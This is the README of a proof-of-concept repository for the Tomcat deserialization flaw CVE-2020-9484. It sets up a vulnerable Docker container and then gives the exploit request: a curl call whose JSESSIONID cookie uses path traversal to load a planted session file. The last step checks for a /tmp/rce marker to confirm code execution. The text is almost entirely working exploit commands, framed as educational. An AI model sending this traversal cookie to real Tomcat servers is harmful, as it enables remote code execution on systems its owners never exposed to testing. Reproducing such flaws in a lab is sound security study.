CVE-2020-9484 (Tomcat)

For educational purposes only.

See Reference for the details.

Run

$ git clone https://github.com/masahiro331/CVE-2020-9484.git
$ cd CVE-2020-9484
$ docker build -t tomcat:groovy .
$ docker run -d -p 8080:8080 tomcat:groovy

Exploit

$ curl 'http://127.0.0.1:8080/index.jsp' -H 'Cookie: JSESSIONID=../../../../../usr/local/tomcat/groovy'

Check

$ docker exec -it $CONTAINER /bin/sh
$ ls /tmp/rce